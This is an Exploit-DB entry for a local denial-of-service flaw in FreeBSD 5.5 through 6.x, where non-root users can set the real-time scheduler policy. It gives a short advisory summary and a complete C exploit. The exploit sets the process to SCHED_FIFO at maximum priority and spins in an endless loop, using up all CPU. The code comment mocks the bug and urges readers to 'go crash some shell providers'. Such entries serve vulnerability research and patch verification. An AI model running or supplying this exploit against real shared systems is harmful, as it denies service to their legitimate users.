FreeBSD 5.5/6.x Scheduler Policy Local Denial of Service Vulnerability



EDB-ID: 28812 CVE: N/A OSVDB-ID: 31050
Author: Diane Bruce Published: 2006-10-13 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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source: http://www.securityfocus.com/bid/20517/info

FreeBSD is prone to a local denial-of-service vulnerability because the kernel fails to require superuser privileges to perform a sensitive operation.

An attacker may leverage this issue to consume all CPU resources, denying service to legitimate users.

FreeBSD versions 5.5-RELEASE through 6.0-RELEASE-p10 are vulnerable to this issue; previous versions may also be affected.

/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
   Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! 
   tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}